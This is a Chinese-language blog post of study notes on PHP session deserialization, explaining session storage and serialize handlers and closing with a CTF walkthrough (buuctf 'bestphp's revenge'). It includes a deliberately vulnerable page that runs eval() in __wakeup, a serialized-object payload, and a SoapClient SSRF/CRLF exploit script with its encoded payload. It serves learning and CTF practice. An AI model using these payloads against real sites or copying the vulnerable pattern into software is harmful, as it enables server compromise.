session反序列化

session反序列化漏洞

一、前言:

这篇文章是我在学习sesion反序列化时的笔记,参考了很多师傅的博客,是根据其他师傅的博客进行的一次学习,里面原理型内容来自其他师傅博客,其他的是自己的理解和所作的测试。

session反序列化漏洞

既然是session反序列化,那我们就要先了解什么是session,以及session的作用机制

一、什么是session,及其作用机制

session是会话的意思,Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。

那什么是会话呢?

会话就是类似于我们与人打招呼,你对他说你好,他回复你,对话结束后,那么这样一次会话就完成了,说白了会话就是客户端浏览器和服务器的一次数据交互(交流)。

那为什么会出现会话呢?

我们知道客户端浏览器访问网站使用的是http(https)协议,http协议是一种无状态的协议,意思就是说不会储存任何东西,每一次的请求都是没有关联的,这样做的好处就是速度快,但是现在就出来了一个问题,比如我们向login.php发送了一个登录请求,并完成了登录,但是由于http的无状态,这个登录只是在login.php上面进行了,但是并没有在index.php上面登录,那我们的登录是没有意义的,所以就产生了cookie,cookie是一个缓存用于一定时间的身份验证,在同一域名下面是全局的,所以说在同一域名下的页面都可以访问到cookie,这样http协议的无状态产生的问题就解决了,但是由于cookie保存在客户端浏览器,这样的话我们就可以去修改cookie,这样的话就很不安全,在这种情况下产生了session,session的本质和cookie一样,但是session保存在服务端。

session的工作机制

上面说了为什么要用到session,接下来我们来看一下session的工作机制

当我们开启一个会话时,php会尝试在请求中查找sessio_id,如果在请求中的cookie,GET,POST里面没有找到session_id,这个时候php会调用php_session_create_id函数创造一个新的会话并且在http response中通过set-cookie头部发送给客户端保存。

session_start()函数

上面说了session的创建,那么下面我们就要说一下session的创建过程,我们先来看一下session_statrt()这个函数,这个函数的作用是开启会话,初始化session数据

Seesion_start()函数会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的

刚才说过session的作用是开启会话,也就是打开session,也就是说如果我们想要使用session功能,可以使用session_start来开启,这个函数既不会成功也不会报错,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的

session储存

上面说了session_id的产生,下面我们来看一下session的储存

测试代码:

<?php
highlight_file(__FILE__);
session_start();
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

image-20221104162814097

可以看到这里随机生成了一个session_id:

4h8bcs007jfu51lg1mf3arpn62

而且生成的session_id存入了cookie中

下面我们看一下session的储存,他是保存在服务器的一个临时目录下面,一般都在tmp目录下,可以在php.ini进行设置

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
liunx常见保存位置

image-20221104163244041

可以看到我们生成的session的储存名称是以sees_+sesion_id组成的

上面我们看到session会保存在cookie中,那我们是否可以通过修改cookie中的phpsession来修改session_id呢?

尝试一下:

image-20221104163940942

image-20221104164002863

可以看到session以及修改了,我们看一下tmp目录下面的session文件名称是否改变

image-20221104164048528

可以看到服务器目录下面的session文件名也发生了改变

现在的session文件是空的,我们尝试写入一些内容

代码:

<?php
highlight_file(__FILE__);
session_start();
$_SESSION['test1']='hello';
$_SESSION['test2']='world';
echo"<br>";
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

image-20221104164526547

可以看到我们的数据已经写入到了session文件,但是却对数据的值进行了序列化

那么大致过程是:

就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件。

image-20221104170838512

二、php.ini配置

在上面我们说session的保存位置是由php.ini文件控制的,那我们接下来看一下php.ini中于session有关的配置

session.save_path:这是session文件的储存路径

image-20221104171707089

session.auto_start:这个开关是指定是否在请求开始时就自动启动一个会话,默认为Off;如果它为On的话,相当于就先执行了一个session_start(),会生成一个session_id,一般来说这个开关是不会打开的

image-20221104171726012

session.save_handler:这个是设置用户自定义session存储的选项,默认是files,也就是以文件的形式来存储的

image-20221104171817164

session.serialize_handler:这是最重要的部分,定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,默认是php

image-20221104171941075

session.serialize_handler是定义序列化/反序列化的处理器名字,我们可以看到我们测试环境的处理器是php,而在session文件中经过php处理器处理过的以|把键名和键值分开了,这就是php处理器的特性,下面我们来看一下序列化/反序列化常用处理器得特性和作用。

三、session.serialize_handler处理器

处理器 对应储存格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

那我们下面通过代码来具体看一下三个处理器的特性

php

<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image-20221104173209584

这里由于没有关闭浏览器,所以还是写入到之前的sesion文件里面

php_binary

<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image-20221104173348865

这里的不可见字符就是键名长度对应的accill码字符

php_serialize

image-20221104173542722

四、session反序列化

上面的都是关于session的一些基础,接下来才是真正开始关于session反序列化

session不需要unserialize()就能够进行反序列化,但是究竟是怎么进行反序列化呢?
我们来看一下session_start()函数的官方文档

image-20221104174135204

官方文档解释了为什么没有unserialize()也能够进行反序列化:

这里是个人的理解:
我们使用sesison_start会开启一个新的会话或者重用现有会话,如果通过GET,或者POST方式或cookie方式提交了会话id,则会重用现有会话,这里就解释了为什么我们浏览器不关闭,session_id是不会发生改变的,调用的还是原来的session文件,而且当我们通过三种方式提交session_id的时候也会重用现有会话,而重用的过程就是php内部会调用会话管理器的open和read函数,通过read回调函数返回现有会话数据,php会自动反序列化数据并填充到$_SESSION超级全局变量中。

既然这样那我们如果把序列化后的内容提前写入到session文件(sess_session_id)中,这时我们去刷新页面,就会调用read函数返回现有会话数据(也就是我们现在的会话数据),php会把我们传入的数据进行反序列化操作,这样就会触发反序列化漏洞。

但是现在还有一个问题要解决,因为我们传入的是键值对,那么session序列化存储所用的处理器肯定也是将这个键值对写了进去,怎么才能让它正好反序列化到我们传入的内容。

这里就要用到我们上面介绍到的不同序列化处理器的特性,我们可以在我们传入的序列化内容前面加一个|,在php_serialize处理后会返回一个序列化后的数组,但是在使用php处理器会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作,这样就能够实现我们session反序列化操作。

五、测试

上面的理论比较抽象,那么我们用一个例子来实现我们刚才的理论,具体分析一下。

漏洞页面代码:

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
class Test{
    public $code;
    function __wakeup(){
    eval($this->code);
    }
}
?>

session传参页面

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['test'])){
    $_SESSION['test']=$_GET['test'];
}
?>

先看漏洞页面,一个简单的反序列化,反序列化时触发_wakeup魔术方法,进行eval

<?php
class Test{
    public $code='phpinfo();';
}
$a = new Test();
echo serialize($a);
?>

生成序列化字符串

O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}

将生成的字符串在sesison页面传进去

image-20221104200001321

看一下session文件

image-20221104200027242

再看一下漏洞页面使用的处理器是php,那么|之前的会被认定为键名,|之后会被认定为键值,php处理器会对|的字符串进行反序列化字符串,这样就达到对我们传入的序列化字符串进行反序列化的操作,触发饭序列化操作。

image-20221104200346481

可以看到我们的命令已经执行。

至于为什么是不同的页面,调用和生成的都是同一个session文件,这就是我们之前说的同一域名下面不同页面都可以调用和访问同一个session文件。只要浏览器不关闭使用的都是同一个session文件。

通过这里大家对session反序列化已经大概清楚了,那么我们来看一道CTF赛题

buuctf bestphp's revenge

源码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

存在flag.php,访问flag.php

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag! 
那么先来分析一下:
第四行存在一个:
call_user_func($_GET['f'], $_POST);
call_user_func是一个回调函数第一个参数是被调用的函数,第二个被调用函数的参数
这里的回调函数的第二个参数是$_post,是一个post数组,这里我们可以使用extract进行变量覆盖
第二个call_user_func函数也一样虽然$b的值是固定的,但是同样可以进行变量覆盖
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
这里开启了session功能,name参数传入的值会被保存在session变量里面,那么猜测这里可能存在session反序列化漏洞
然后看一下flag.php
要求本地才能得到flag
那么这里就要利用ssrf,可以借助php原生类SoapClient以及CRLF漏洞进行SSRF

这道赛题利用一些其他漏洞的知识,这里就不再对其他漏洞知识进行分析。

首先构造一个调用SoapClient原生类进行SSRF的exp

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);
#|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A27%3A%22%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后使用php_php_serialize对传入的字符传进行序列化操作

image-20221104202013559

可以看到字符串已经被写入sessio里面了

我们要更改“session.serialize_handler”的值,本来应该使用ini_set这个函数的,但是这个函数,不接受数组,所以就不行了。于是我们就用session_start来代替,session.serialize_handler=php_serialize也变成了,serialize_handler=php_serialize。

这样就会把经过php_serialize序列化后的字符串写入到session文件中,这里猜测这里默认网站使用的处理器是php那么就会把|后面的键值也就是我们传入的字符串进行反序列化处理,触发反序列化漏洞

image-20221104202916299

这里f传入extract进行变量覆盖,我们传入的name=SoapClient post传入的b=call_user_func,那么这样call_user_func($b, $a);就变成了call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) 因为call_user_func是接受数组的,数组的第一个是函数,第二个是参数,那么这里就会把SoapClient当作回调函数,那么welcome_to_the_lctf2018就会被当作一个参数,那么这样的话SoapClient就会去调用一个不存在的welcome_to_the_lctf2018方法从而去触发_call方法发起soqp请求进行SSRF

最后只要将phpsesion的值换成我们传入的就可以得到flag

image-20221104203558191

参考文章:

http://arsenetang.com/2021/08/31/反序列化篇之session反序列化/#Session反序列化

https://m0re.top/posts/77c4c92b/#

https://www.freebuf.com/articles/web/324519.html

https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/#例题一

https://xz.aliyun.com/t/6640#toc-0

posted @ 2022-11-04 20:49  GTL_JU  阅读(530)  评论(0编辑  收藏  举报